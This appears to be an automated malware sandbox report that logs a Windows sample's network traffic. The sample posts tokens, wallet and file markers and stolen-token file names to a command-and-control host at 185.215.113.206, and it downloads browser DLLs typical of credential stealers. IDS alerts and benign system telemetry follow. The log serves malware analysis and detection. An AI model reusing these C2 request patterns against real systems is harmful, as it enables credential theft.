Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file"------HDBGHDHCGHCAAKEBKECB--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"wallets------HJEHIJEBKEBFBFHIIDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="message"files------DBKFIDAAEHIEGCBFIDBF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file"------GCGIDGCGIEGDGDGDGHJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="message"ybncbhylepme------IDAAKEHJDHJKEBFHJEGD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBFHDHJKKJDHJJJJKEGH--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:62829 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:62833
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49746

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xggLk+yRVhH6MbZ&MD=FAVm525a HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xggLk+yRVhH6MbZ&MD=FAVm525a HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
